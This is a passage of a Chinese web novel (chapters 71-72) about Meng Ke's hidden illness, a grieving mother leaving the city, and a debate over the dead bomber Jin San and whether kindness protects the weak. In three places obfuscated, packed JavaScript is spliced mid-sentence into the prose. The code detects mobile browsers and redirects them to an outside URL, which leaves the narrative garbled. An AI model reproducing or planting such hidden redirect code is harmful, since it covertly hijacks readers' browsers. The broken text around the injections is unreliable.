回雪好笑地摇了摇头，二公子这人，真是成也那张嘴，败也那张嘴。要论这世间最擅长自己挖坑埋自己的，他若拿第二，便没人敢称第一。她看着孟珂道：“就他那自欺欺人的话，小姐这么聪慧的人，难道还真信了？” 孟珂不言，回雪又道，“他那分明就是说给你听的，意思是他眼里根本看不上——小姐你以外——任何人。小姐你以外的人，连女子都不是。” 孟珂牙齿都在暗自打架，不想让回雪担心，强自忍着：“你也……拿我……开涮了！” 回雪也是方才听了她的话，故意替她分散注意力，继续道：“别的不说，就他那种眼高于顶，还吹毛求疵的人，连身边为数不多的几个朋友都挑剔得紧，可他挑过你的一点不是没有？” 孟珂沉吟了下，徐徐吐出一口气，努力稳着声音道：“我自然知道，我对他来说……是极特殊的。但是，这种特殊……不一样。” 回雪看了她一眼：“小姐，你何尝又不是自欺欺人呢？” 听里头两人都沉默了下来，周冶小心地将窗户掀起一条缝，见孟珂泡在浴桶里，方才的几个桶都摆在边上，已经空了。她竟然是在冰浴！还一天几次！身子那么弱，还大病未愈的，这搞的什么…… 他心内正奇，突地传出水声，眼看着孟珂就要站起来，周冶忙闪开身，顿了顿，退走了。 回雪小心地扶着颤抖的孟珂出水。 孟珂想起了什么：“对了，曾家出的这些事，咱们得让一个人知道。” 回雪不说即明，点头道：“明白。” 又道，“那小袁的腿眼看着一天天好起来了。给他找的去处，他也满意，待养好伤就去。袁家一门感激不已。如今，袁家和也被周大人提成了牢头，当差也越发尽心，一心要报效小姐和大人的恩情呢。” 这天夜里，袁家和同狱卒闲聊起了曾家这接连遭遇的祸事。 高升在一旁听着，心惊道，也忒狠了！这又是炸，又是毒的。他要不是在牢里，他们只怕也找上自己了。看来，老爷的事也是他们干的。他当初把事情闹大是对的，不然，他们如今还不知道怎么无所顾忌呢。 *** 孟珂刚出了浴，周冶就来了。 她从屏风后走出来，一头乌黑柔亮的头发散了下来，在脑后松松挽了挽，一身宽松的白衣，显得格外仙逸出尘。 周冶看得怔了片刻，才道：“席间说小姐怕喝了茶不好睡，我这儿有些上好的陈年白茶。” 说着，冲身后的洗墨一摆头，示意将茶具放到窗前小桌上，“我给小姐泡了试试。” 见洗墨过去，开始煮水，孟珂也不好赶人，谢道：“有心了。” 周冶一进屋就闻到满屋的药味，再看她，面色比平常苍白了些，红润的唇色也有些发紫，问道：“小姐……这两日身子可好些？” “无妨。”孟珂淡淡地道。 可回雪的表情显然不太对，但她定然不会多说一句，于是，他也不再多问。 孟珂在窗前坐了下来，抬眼看他，笑道：“我这鸠占鹊巢了，要说请你坐，也有点怪。” 周冶笑笑，在她对面坐了下来，现在回自己房间，感觉怪怪的，又熟悉又陌生，又是主又是客的。 茶烹好了，第一盏，放到了孟珂面前。 孟珂一看，白瓷盏内那茶汤的色泽清亮，有意泡得极清淡。 冰浴过后，虽泡了泡微温的水，回暖一些，但她体内的寒气此刻正盛。握一盏热茶在手，暖意自手心传入体内，舒服不少。一口饮下，那仿佛被冻住了似的腔子里，也感受到了一点回暖。 她放下茶盏：“大人此来，就为了喝茶？” 周冶不悦：“不是改称公子了，怎么如今在私底下，又大人大人的了？” 孟珂笑道：“嫌犯对上堂官，自然就没公私之分了。” 周冶被噎了一下，却笑了，那堵在心口的东西，倏地就化了。 洗墨正在给孟珂倒茶，看自家公子被噎却还噎得高兴了，一时奇怪上了，倒是忘了手上。 茶汤溢了出来，孟珂忙往后一让，周冶忙拉起她放在茶盏边的手：“可有烫到？” 一片冰凉！周冶惊得瞪大了眼，心道，这……还是活人吗？她到底是怎么活下来的？ 孟珂抽出手去：“没事，没烫到。” 就在这一拉一扯之间，周冶扫到她白色的衣袖内，闪过一抹紫红，心道，不对，她有问题！他抬眼看了孟珂一眼，暂且按捺不问。 倒是孟珂转移起了注意力，又问：“公子来，有话要说？” 这一声公子，听来很是舒服，周冶笑着看她，摇头道：“没有。喝茶。” 但第二日晨起，他便带着大夫直入了竹雨院。 *** 见瞒不住了，孟珂也不徒作挣扎了，乖乖坐下号脉。 回雪一拉小姐的袖口，周冶便见，以手腕为界，里面竟是重重叠叠的红紫色斑块…… 周冶亲自送大夫出去，又惊又疑惑道：“这到底是何病症？” 大夫徐徐吐出一口气，似乎也在震惊的余韵中，道：“这是极罕见的血毒啊！” “毒？这是中毒？”周冶怎么也没想到这上头，忙问，“什么毒，如何解？可于性命有碍？为何还能如常行走坐卧？” 大夫看着他，摆摆手道：“大人误会了！此毒非彼毒，不是什么人故意下的毒，甚至也不是这世间说得出名字、配制得出的毒药，而是来自天地之间，是一种来无影去无踪的东西。” 看周冶更惊异了，大夫道，“人的身子，就靠卫气拱卫。卫气一破，诸邪可侵。正如国无守将，随时可被侵袭。我们日常吃的、喝的，一呼一吸的气，乃至一掠而过的一阵风，于常人无碍，可于小姐这样卫气破损的病体，皆可入体成毒。因而，一无毒名，二无解法！” “还有这样的毒？！”周冶惊道，顿了片刻，忙问，“解不了？” 大夫直摇手：“解不了！解不了！此毒，非真毒。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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临走前，大夫回头看了一眼，慨叹道：“要不是这位小姐的底子，比寻常姑娘好上不少……” 比寻常姑娘好上不少？周冶闻言微微吃惊，不过，想想也是，舞蹈一技跟习武其实是一回事。旁人看着毫不费力，可那每一个行云流水的动作，无不极需力量。她应是自小就长年习舞，故而身体不弱，可如今为何这样了…… 大夫叹道，“寻常人根本扛不过这些年！” “此话怎讲？”周冶问。 大夫道：“大人可知，这血毒可不单是看着吓人，最难熬的，是病患每一寸肌肤都奇痒难耐，还有灼烧之感，一日十二个时辰，没有片刻止歇，连觉都没法睡。寻常人，哪能这样泰然？” 奇痒？灼烧之感？还真没看出来！她一副若无其事的模样。 “冰可以止痒？”周冶问。 大夫点头：“可暂时麻木人的知觉。” 难怪她日日用冰，在这数九寒天冰浴。 大夫继续道：“这样的病，活着，是时时刻刻的折磨，大多人都会宁愿死了算了。而这位小姐，甚至让人看不出什么异样。其心志，算是老朽见过的……世所罕见的坚韧。由此可知，这是何等人物。可叹，又可惜啊！” 听大夫说着，周冶的心口越来越紧：“这卫气破损的根由到底是什么呢？” 大夫见他问到了根子上，道：“这根由可就多了！有人是身体受到外在的伤损，有人是中毒伤了根基……至于这位小姐，倒不像。” 他想起，她曾对着湖水说，游过，忙问：“冬日里游水，会落下病根至此吗？” 大夫摇头：“不至于。” 周冶又想了想，只剩下一种可能了，于是道：“有没有可能，是受到难以承受的刺激所致？” 大夫边想边道：“对一般人来说，不会。遇到不可承受的刺激，人往往便疯了、傻了。不过嘛，于这位小姐而言，却有可能！或许，恰恰因其心志过坚，不疯也不傻，神思如常，但人的身子能承受的却是有限的，也无法完全受心志所控制，便可能越过疯傻癫狂痴这一步，身子直接……崩塌了。” 原来，人的身体可以这样崩塌！周冶喃喃道，“以前只听过人一夜白头，没想到，还能一夜崩塌……” 71. 送别 衙门贴出布告，昭告了爆炸案始末，及嫌犯金三的身死。当然，没提背后那些还夹缠不清的人和事。 布告前，议论纷纷的一圈人里，有个人一言不发，呆立许久。末了，扶了扶肩头滑下来的包袱，转身要去，刚走出人群，就见一人站在街中，正看着她。李素娥顿住了脚步：“你还是来了。” 曾铭冲她笑笑，陪她慢慢往城门去。 到了城门口，素娥抬头去看那城门。 入这道门的时候，她还是一家三口，车内还言笑晏晏。其时，她心中满是对曾家的忐忑，但也还饱含着对未来的期盼。 谁想，出这道门的时候，她只孑然一身，前路一片浓雾茫茫。 短短数日，她仿佛历尽了一生悲苦。 她苦笑着，喃喃道：“早知如此……” 早知如此，她就该抱着孩子远走，死也不让他们带离自己一步。 不，早知如此，她宁愿永不来绥陵，永不入曾家，宁愿自己一个人在边城，将孩子养大…… 李素娥收回目光，顿住了脚步，看着曾铭道：“就送到这儿吧，谢谢二公子这些日子的照料，还请回吧。” “嫂……素娥……姑娘，”曾铭将手中包裹递给她，“你一个女子，独身在外，诸多不易，总要带些傍身钱。” 素娥扫了那沉甸甸的包袱一眼，笑了。她坚定地摇了摇头：“不，我拿着这么多银子，才是坏事。” 一阵心酸旋即又涌起，她强自压了下去，叹了口气，抬起头道，“有些东西，命里没有……生了贪心，反而是祸患。若早知这个道理，我也不会到如今这样……” 曾铭艰难地开口道：“我母亲这人……” 一听他提起邵夫人，素娥就摆起了手。 曾铭知道，说什么也没用了，朝她一拜道，“她这些日子以来的种种不是，对你的种种磋磨，我在此，替她赔罪了！” 李素娥一听笑了，继续摆手道：“她没有错。我并不曾……埋怨她。” 素娥垂下了眼眸，自嘲地笑道，“莫说是你母亲了，若是我的麟儿……长大了，突然有一天从路边捡回来一个女子，我这心里……也是不愿意的。我自己苦一辈子，忍一辈子，就是希望他能过好。他怎么能被外面一个什么都没有，什么都不是的女人，算计了去……” 她看着曾铭，笑道，“她那般待我，她迁怒于我，可怎么能不迁怒呢？怎么能不恨呢？我也是母亲，我能明白的。我真不怪她。” “因为她……也没想错。一开始，我看到你大哥，就有了……想法。” 素娥的目光落入了回忆，“那时候，不……甚至现在，我也没觉得有什么不对。谁不想嫁得好一点？谁不想让自己的孩子生在一个好人家，能比自己过得好？哪怕自己被看不起，哪怕后半辈子都受尽磋磨……” “但是，哪里不磋磨呢？嫁给同我一样的人家，难道就不受委屈了吗？嫁给一无所有的穷鬼，就不磋磨了？甚至那拿着家财倒贴、招赘上门的，难道就不委屈了？上嫁吞针，下嫁吃屎，平嫁一样敲骨吸髓……生为女子，有几个能讨得了好的？嫁人后不都是眼泪和着饭吃吗？” “那时候，我想着，反正嫁谁都是艰难，反正嫁什么人家都是磋磨，那起码要换一点东西吧？得到一些，付出另一些，能交换得到东西，也算值了。” 她本就是小生意人家的女儿，不像那深闺大院的姑娘，不知俗务。她自小就给大人帮忙，为人活络，也有些世俗的精明，一眼就看出曾立的出身不低，人也不复杂，就有了心。 待相依为命的叔婶出事之后，她只剩了自己，便没什么好顾忌的了。她一个年轻女子，一人独自讨生活，本就诸多难处。而曾立人不坏，至少不会比她周围那些人差，于她而言，无论如何也是个依靠。不，应该说，是她能遇到的、能想到的最好的归宿了。 再说，她已经一无所有，还能吃什么亏？借着出事后的照料，两人便这么在一起了，不多久便有了孩子。她才算有了定心丸，虽然知道曾家门不会那么好进，但总归自己手中有了一点资本。 说到这儿，素娥顿了顿，叹道，“只是，那时候，我不知道的是，这条路要付出的代价，是我不愿意付的。” 听她说着这些，曾铭只静静听着。 素娥看了他一眼，这样从来无需担忧衣食的公子，大概从来不曾想到这些。 她现在已经无所谓他或任何人如何看她了，继续道，“那时候，我就知道你大哥怯懦。但我以为，那不过是让我日后吃点苦头，被婆母刁难刁难罢了。我可以忍，愿意忍……可我怎么也没想到，他这份怯懦，竟然……间接断送了我儿性命。” 如果曾立不是那般怯懦，如果他能坚持自己的想法，也就不会屈于母亲的权威，就能顾及儿子那不同寻常的哭闹，也许那日便不会坚持去，也就不会…… 说到此，曾铭道：“大哥这人……总是在该稳住的时候鲁莽，该果断的时候又怯懦。” “我也不是怪他。”李素娥道，“如果不是进这种自己根本攀不上的人家，即便你大哥怯懦不争，我那日也必定是要站出来争的。如果不是我贪恋曾家的富贵，也就不必在乎曾府承不承认，不必在乎什么认祖归宗，不必处处隐忍退让。那样的话，我不想让孩子去，就能不让孩子去。” 就算她真的拼命阻拦，又拦得住吗？曾铭看着她，目光里满是不忍，这事其实无可避免，其实本就是曾家的怨债，怎么也怪不到她身上。没想到她居然这么想，把造成孩子之死的责任，全都揽到了自己身上……这是一个母亲的自责而已。 “这事……” 曾铭刚开口，就被素娥打断，“我以为是给自己找了个后半生的归宿，以为给孩子找了个好出身，没想到却让他小小年纪就送了命。可笑的是，偏偏我自己苟活了下来！” 她哭笑不得地看着曾铭，“老天这到底是在惩罚我，还是在可怜我？我都不知道了。” 说罢，素娥长长地吐出一口气，最后再看了一眼人流如织的街市，再抬眼看了看城门。 她还来不及熟悉这个城，一处也不曾逛过，便走了。今后，应该也再不会入此门，进此城了。 对曾铭坦诚了这一切，她的面色反而平静了许多：“当初，我以为自己已经没什么可失去的，横竖搏一把就是了，输赢都认。可终究是……被狠狠打了脸！当初，我也以为，得找个人依靠，可如今才知道，只有自己的，才是自己的。能依靠的，能救自己的，能保住自己珍爱之人的，终究只有自己。” “贪恋不属于自己的，终究要付出代价。不，其实我们都知道要付出代价，但是……不到算账的时候，你不知道这代价是不是付得起、又愿意付的。” 她将包袱往肩头一挎，看向了前方，“现如今，我只想靠自己，试试能活成什么样。” 说完，转身出了城门。 “你放心，我有一手做面的本事。不管走到哪儿，支个摊子都能讨口饭吃。” 曾铭目送着她的身影远去，瞧方向，临走前还要再去坟前看看。他叹了口气，转身往那个越来越空寂的府第走去。 等素娥到了墓前，竟见一个红衣女子站在墓前。 不待她出声，那女子便转过身来。素娥瞧她有些面善，仿佛在哪里见过，可她哪里认识这样行走江湖的女侠？ 她还在疑惑中，那女子走上前来，将一个羽毛状的坠饰塞进她手中，直接便走了。 “日后，不管是需要生计，还是遇到麻烦，有任何需要，你都可持此物，到有此标记的商号。见此物，自会有人助你。” 素娥一脸茫然地看看她越来越远的影，又看了看手中拿羽毛坠饰，将那东西往袖中收，收着收着，猛地抬起头来。 她想起来了！抓金三那日，这女子就跟在孟小姐身边，只是侍女变成了女侠，一时没能认出来。可她……可那孟小姐为何一直帮自己？ 她转头看向了墓碑，是冲着她曾说过的……与曾立的旧谊？ *** 殓房门口，两个官差抬出金三的尸身，草席一裹，放上了板车。 自从出了郑氏和刘宝被害之事，周冶顺手好好地整顿了一下狱中事务，处置了那些贪墨滥权之人。这下，是防住他人谋害了，可犯人却自尽了。 他无奈地叹道：“这我要查的人犯，进了牢房，都得横着出来么？” 孟珂也一道来了，却答非所问地道：“如果说，他之前还有复仇的那口气撑着，事情一戳破，心就彻底死了。” 周冶也叹道：“这么说，把真相告诉他，倒是他的催命符。” 这句话有意思，孟珂笑着去看周冶，他倒是没说，那催命的人就是她。不过，他既是好意，接受便是，于是，也只淡淡地道：“谁说不是呢。可是，难道让他继续蒙在鼓里，在歧路上走得更远，让那些人利用得更惨吗？” 这事自然不能怪到旁人身上去，周冶看向她，宽慰也是解释道：“他自知死罪难逃，身上的毒也已经积重难返，多活些时日，也只是多受些罪罢了。” 孟珂却根本不纠结这事，只是看着那具已然失去生命的躯壳，心中戚戚然。 人这种造物实在神奇，上一刻还是万物之灵，有思有想，有灵有魂；下一刻就只是具已然开始腐坏的臭皮囊了，同虫蚁鸟兽并无二致。而生与死的区别，似乎也就是腔子里的那口气了。 那口气，到底又是什么？ 草席不够长，遮得住一头，便遮不住另一头，露出一截脚来。那簇新的殓衣鞋袜，还是孟珂让人置办的。他原本穿的破衣烂鞋，也不知多少年了。 孟珂突然道：“大人知道，他是怎么落草为寇的吗？” 周冶倒从没想过这个问题，但她既然这么提了，些许有些缘故，遂问：“为什么？” 孟珂道：“他本是城外一个普普通通的农户。一日，好端端走在路上，前方一个老太太骤然扭头，撞上了他。当时还能爬起来走，他还是将人送去了医馆，本以为没事了。谁想，这人几日后死了，家人立刻扭送他去官府，状告他撞死人。” 回雪也是头一回听这事，疑惑道：“这就告准了？” 孟珂笑笑：“县令大人判说，他走路不长眼，明明应该看着前方，及时避让，却还是撞上了，故而，当为此人之死负责。要么坐牢，要么赔钱。” “就这样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“若是死了人闹起来，那就更有意思了！又快又省力地平息此事，才是衙门那些人的第一诉求。怎么平息？人已经死了，又活不过来。就四个字——死者为大！被告就算无责，出些钱安抚，这事不就结了？反正这钱又不从判官自己兜里掏，关他什么事？” 回雪问：“这岂不是助长讹诈之风？” 孟珂：“且看那死者家属的诉求，到底是赔钱可了，还是非要人坐牢，提告的心思也就了然大半了。” 周冶笑道：“讹不到，这种事才能变少。正该杀一儆百。怎么这时候偏又和稀泥了？” 孟珂笑：“衙门不傻。讲理的人，知道此法也不会去讹诈。能去讹诈的，都是浑人。衙门也会分，哪些浑人好打发，哪些不好打发。” “毕竟，这些浑人，往往就是隐藏的、让‘局面’不稳的因素。一旦闹起来，衙门自己脸上就不好看了。为了安抚住这些人，而牺牲另一些人，左右他们自己不吃亏就完了。” 回雪冷笑道：“连衙门也由着这些浑人横行！” “浑人嘛，是能教化过来，是能为了‘鸡毛蒜皮’的事把他们全都关起来，拿牢饭养着——也养不动啊，还是说就都杀了？这些人，混不吝，也不怕死，能占多少便宜占多少，直到踢上铁板，那时就该他们自己受着了。” 说话间，几人已经跟着走到了侧门，回雪不由看着那板车：“那老实人就只能吃亏？” 孟珂笑道：“对，如果你恰好是个老实人，没钱，也没那好运撞见青天大老爷给你主持公道，那真就毫无办法。” “直到这时候，你才会知道，衙门的门往哪儿开，老爷的官司怎么判，律法又是种什么样的东西，到底会不会保你。你才会知道，这太平盛世的太平二字，献祭了多少人。” “都说，宁为太平犬，不做乱世人。可这太平犬，哪里又是好当的？每条太平犬，都头顶悬雷。不知道哪个瞬息，哪一颗雷，就炸在了自己头上。” 板车拉出门去，进了巷子，吱呀着前行。 回雪：“小姐，若他是个浑人，那家人是不是就不敢讹他了？” 孟珂道：“没有这个如果。他到死都是个老实人，即便做下了伤及人命的事，骨子里还是被欺压了一辈子的老实人。” “如果有得选，他只会想守着自己的几亩薄田，日子哪怕苦一点，也会尽量好好地过，也许顺顺当当地娶妻生子，如今都儿孙满堂了……可惜，他那日头顶掉下了一颗雷，一辈子就自此毁了，无家无口，死了也无人收葬，不过是拉到南山义庄，成为众多荒冢野坟之一。活着的时候，孤苦无依。死了，也无人祭奠。” “南山义庄？”周冶还没听过。 孟珂道：“大栖山的风水好，哪轮得到他这样的无主孤坟？无家无口、无人认领的，都埋去南山。” 板车就要转弯，他们转身往回走，却见院子里跑出来一人。 竟是曾铭。 他微微喘着气，朝周冶一揖：“大人，说是嫌犯死了，我可看看？” 一直没吭声的洗墨冷笑道：“怎么，公子还怕有假？” 72. 善良 凶犯死了，家属要验看，也算合情合理。周冶点点头，叫停了板车，曾铭朝他点头谢过，走上前去揭开草席，脸上却是感慨之色，倒不像是来验看真假的。 那日在曾府，又是衙门抓人，又急于给满院子的人解毒救命，曾铭没来得及同他说什么，此刻再见，竟已阴阳两隔。 他叹了口气：“谁能想到，做下这么大……事的，不是什么穷凶极恶之徒，而是个看起来如此脆弱、可怜，甚至……还有些慈祥之态的老人。” 洗墨在后面哼道：“他不老！只比令尊曾大人大几岁。曾大人生前看着还正当盛年，他却风烛残年了。这穷苦人嘛，别说大几岁，便是同岁，看起来大个十几、二十岁也不稀奇。” 孟珂却瞧出了什么，走上前去问曾铭：“你……认得他？” 曾铭摇了摇头：“大年夜，见过一回。我见他蹲在角门边的墙角，以为是无家可归的老乞丐。就给他端了碗热饭，找了件棉衣。” 孟珂和周冶四目相对，一下明白了。 一碗热饭，一件棉衣，换来了金三的收手，不动曾铭。李素娥的一份善意，也换来了那粒救命的解药。 一个本性善良的人，被命运之手，被人性之恶，被阴谋算计，一步步推到了人生的最后一步……可到最后，他也没放掉那一丝善念。 孟珂心中陡然涌起一股难过，悲伤如潮水般汹涌而来。 她可以想象，那些拆着烟火的日日夜夜里，他内心的煎熬与彷徨；他或许曾在窗下一次次想放弃，又一次次重新捡起。而曾立父子之死，他为何不在现场看着解恨？因为他不解恨，反而因此恨上自己。 还有谁，比她更明白那样的心理？还有谁比她知道，让一个善良的人做恶事，最最艰难的，其实是过他们自己那一关。 站在那个关口上，他们会恨自己，为何就不能彻底地不管不顾，为何就不能像那些恶人一样自私，为何不能心无挂碍地做伤害他人之事——哪怕只是报复回去…… 周冶看孟珂的脸上陡然染上了浓重的难过。她的目光看着板车上的金三，可分明已经透过那板车，看到了很远的地方。 良久，孟珂长长地吐出胸口闷着的一口浊气，苦笑道：“我们的担心多余了。不论他做了什么，始终都只针对曾家人。他不会选上元夜挤挤挨挨的街头，不会让千万的绥陵百姓，为他的不幸、不公殉葬，他不会的……” 正如他也压根没在曾府下毒。 闻言，周冶和曾铭都看着她，两人一时都无言。 孟珂没有看他们，仍对着那板车道：“即便在很长一段时间里，他已经觉得此生复仇无望，也不曾横生戾气，没有因此而转头去凌虐更弱小的无辜妇孺。” 孟珂心道，看邵夫人如何？她扫了曾铭一眼，“很多时候，人都是慷他人之慨，开口善良，闭口道德，只因为事情没落到自己头上。真让他们遇到了，难保不会变成金三，甚至远远不如金三。” 周冶点点头道：“这么多年来，他怀揣刻骨的仇恨，但还是先去独自帮扶寨里兄弟的孤儿寡母们。一个不曾认字读书，没听过圣人教诲的盗匪，能做到如此，殊为不易。他的心中，始终有是非二字。” 很多人的善良，就是耍耍嘴皮子，满口仁义道德的空话，就跟棉花似的，捏紧了没有二两重。若是没有金三，那些兄弟们的孤儿寡母，这些年要怎么过？那样并未张扬却持续数年的帮助，才是沉甸甸的情义。 周冶看了曾铭一眼，“比起曾怀义，他更当得起那个义字。” 曾铭若有所觉，转头对上了二人的目光，自嘲地笑道：“不用碍着我。他和曾家之间的人命，已经太多，到了阎王面前，也是各担其责。我......就不掺和了。” 说着，他直视周冶，斟酌着道，“大人若允准，我想备一口薄棺，替他殓葬。” 周冶转头去看孟珂，见她微微点了点头，这便是相信曾铭不会做手脚了，但还是对一旁的侍剑道：“你带二公子去办。” 曾铭心领神会，却未动声色，好言谢过，便随着板车走了。那消失在巷末转角的身影，有种莫名的悲伤与落寞。 *** “我们常说，‘生亦何欢，死亦何苦。’对金三来说，却是生而煎熬，死倒解脱了。” 孟珂最后看了一眼，唏嘘道，“希望，他来世不要再生成这样的磋磨之命了。若还这样，倒还不如托生成那林中的鸟儿，水里的鱼儿，自由自在，无悲无苦……” 说完，转身进门去了。 周冶跟在她身后，试探着道：“你说，就没什么可以改变……防止金三这样的悲剧吗？” 孟珂停下了脚步，微微侧过脸向后看：“一直有，但永远实现不了。莫说今日实现不了，千百年后也实现不了。” 这世上，缺的从来不是做事的办法，而是人性不许如此。人性不变，贪欲不变，这些普通人、老实人的命运，就永不会变。 周冶快步走上前去，看着她道：“但是，伤害已经造成，即便复仇成功，也无法活死人、肉白骨。” 他顿了顿，微微蹙着眉，斟酌着语气道，“这样，还值得搭上自己的性命，毁掉自己的人生吗？真的就不能……放下吗？” “放下？”孟珂喃喃地重复了一遍。 这个问题，她翻过来覆过去地想过，也用整整三年的时间试过。 用时间来淡化和遗忘，她试过了。走遍名山大川，开阔心胸，她也试过了。遍览天下群书，谈遍四海僧道，乃至试遍药石，修心养性……她什么都试过了。 都试过了，都没用。 孟珂唇角微微一勾，淡淡地道：“如果可以，谁愿意跟自己过不去呢？如果只要‘放下’，前方就有美好的生活，谁又不想呢？” “道理，说起来都清楚明白。我甚至敢大言不惭地在此说一句，这世间的大多数道理，没有什么是我不明白的，也能比谁都说得周全。可是，脑子里明白是一回事，”她抬手捂住了心口，“心里怎样……是另一回事。” “我这个人，甚至连心这一关，也修得差不多了，只差没遁入空门了。可是……” 心口的难过一层层漫溢上来，盈在了眶里。她抬起脸，深吸了一口气，手上暗暗地、狠狠地掐入了手心，才控制着语气道，“可是，我的身体，它从来都没有……忘记过。” 若不是经历她这接连两次的发病，若不是知道她如何日日夜夜、时时刻刻受病痛折磨，若不是知道她是如何聪慧通达的女子，周冶都不会明白，她说的这句身体忘不掉，是什么意思。 谁都知道，身体的伤会留下伤疤，会造成旧疾。可多少人知道，原来，心里的伤，一样会在身体上落下伤病。 那日，大夫出门的时候，周冶又追了上去：“这病到底该如何将养？” “能做的，唯有宽心二字。”大夫顿住了脚步，“最好，当它压根就不存在。” 周冶顿在了原地。这就是为什么她成日往外跑，根本不休养之故？忘记它，当它不存在？至于唯一的解法——宽心，便是解开她心中之结，报了她心中之仇？他还想着，她若能自己想开，若能自己放下…… 周冶怔愣原地的时候，孟珂径直走了。 *** 周冶呆呆站了半晌，洗墨在一旁等了实在太久，开口劝了，才回了听风轩。但他回去拿了东西，就又奔竹雨院去了。 孟珂在书案前坐着，见他怀里抱了一堆东西进来，站在自己对面，一样样拿出来摆在桌上：“这是涂抹的药油，可止痒。这是金银花和薄荷熬煮的药，化开了，用布湿敷在身上，清热解毒，也可缓解不适。还有，按压合谷穴的同时，轻揉足三里，也可以止痒，你可试试？另外，冰敷就不用我说了……” 孟珂看着他放下的那堆东西，没言语。周冶笑笑：“你都知道，也都试过了吧。” 孟珂不置可否，含笑谢道：“有心了，我都试试。” 周冶知道她这只是不忍拂了好意，在一旁坐了下来，看着她道：“我知道，金三的死，你心里不太好受。” 回雪来上茶，孟珂乘隙看了周冶一眼。他们二人，就像高手比试，在场中站了许久，彼此都在观望，都在揣摩，都在想试探对方…… 这人根本不是自己口中那样硬守律法陈规的人，更不是什么迂腐守旧之人。此人的城府之深，跟自己有得一拼，很多时候都只是拿那些看似正确的话来，套她的话而已，不过是始终在刺探，在投石问路…… 她并不介意这份城府。她愿意坦诚的，便坦诚相告；不愿的，他也逼不出来。 孟珂微微挑了挑眉，故意道：“那公子还提他，就不怕话不投机？这件事上，你知道我不会说什么符合你这堂官职责的话，一直多有忍耐。” 周冶却笑着咂摸：“我现在是公子，不是大人了？有公私之分了？” 孟珂笑了，还记着这茬呢。 她手上捉着茶盏，食指在那剔透的白瓷边沿，慢慢地划着，感受着茶汤渗透上来的温度，抬眼看着周冶，心道， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999169|193939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们就这么雾里看花的，竟也一路同行至此，接下来的事，若再这样僵持下去，也不行了。既如此，她便先出招吧。 她垂眸含笑道：“有人曾跟我说，跟同量级的敌人对抗，需不惜一切代价，得以命相搏，用智使计都得一步不错，需狭路相逢仍勇对……可即便这样，也只能提高胜出的几率，不能消灭失败的可能。最后能不能胜出，还需要好运气。” 周冶心道，必定是通晓世理人心、熟谙争斗之人，才能说出这样的话。是她父亲，还是如今的“父亲”——卢翰？ 孟珂继续道：“跟比你弱一半的敌人斗，你有优势，有余裕，便可以在某些方面做得不够好的情况下，依然以相对优势的条件而取胜。而手段上，你也就有了一部分选择。” “但若如大象之于蝼蚁，有了碾压之势。犯些错，也可以再来。而蝼蚁只要被踩中一脚，就死绝了。绝对的优势，才能带来几乎没悬念的结果。” 她端起茶盏，直视着周冶笑道，“只有在这样绝对的优势之下，你才可以收放自如，可以精准控制，可以选择手段，拿捏分寸……” 周冶心中恍然，这便是她一直以来在走的路？成为大象，拥有绝对的优势？ 她站上高处，成为卢家养女，不是为了仗势欺人，更不是贪恋权势富贵，而是为了积攒足够的优势？就是为了能做成自己想做之事，还有足够的余裕，有选择，有分寸？如此，才不必做坏事、成坏人？ 孟珂放下茶盏，带着嘲讽的笑意道：“我们都喜欢看以小博大，以弱胜强，可在这种喜欢的背后，就是我们心底其实明白——那是多不可能的事。那只是一个美好，却绝难实现的美梦。” “莫说弱小，便是你智计再强，权势再大，也只能减少却无法消灭意外。故而，真正的取胜之道，不是做金三，不是拿自己的一无所有去火拼。而是要先成为比你敌人还强大很多的人，再等待你的时运到来。时来天地皆同力，运去英雄不自由。” 周冶自然知道，这一番话，是她的倾心剖白，是她主动打开城门，迎他入内，以示诚意，以灭猜疑。 他看着她道：“你，就是为了不用成为另一个金三。” 孟珂顿了顿，自嘲地笑道：“我......还不知道，会不会成为另一个金三。” 周冶心下一震，暗忖道，金三靠衙门得不到他的公道，可她不一样啊！莫非……她不依靠卢府，而是自己亲自下场，便是因为靠卢府、从朝堂上的明路，从律法……得不到她的公道？即便以今日的她，还不是大象，而仍是蝼蚁？ 孟珂没有多说，吁出一口气道：“他做的当然不对，可谁又给了他对呢？他的做法很傻，也很错，别人怎么想我不管，至少我没法苛责于他。” “蝼蚁就活该被踩死吗？就该乖乖躺好被踩，怎么都不能生事吗？兔子急了还咬人呢，羊入虎口还知道挣扎呢。生为有血有肉、有灵有智的人，反而连最基本的反抗都不该有吗？” “若蝼蚁被踩了，自有道德、律法替它找回公道，它只要守着善良和底线就好。那它就应该，也必定乐意如此。可世事从来不是这样！满口的仁义道德，满纸的忠孝节义，可这世上活着，真正的规律是弱肉强食，是见利忘义，是权势金钱……于是，只有成败，没有是非……” 孟珂看着周冶道，“在这样的世道，道德不能保护好人，律法不能惩治坏人，也不许人自己讨公道？” 周冶心道，果然，她同情金三，不只是因为她也同在复仇的处境，还因为她也觉得……自己是蝼蚁。 孟珂摇着头，好笑道：“他们吃的亏，送的命，根本就无人做主，还不许他们自己讨。善良，成了对蝼蚁的单方面要求，成了压榨、驯化人的工具。那还要守着那一无是处的善良吗？那样的善良，叫乖顺，叫怯懦，叫奴性。” 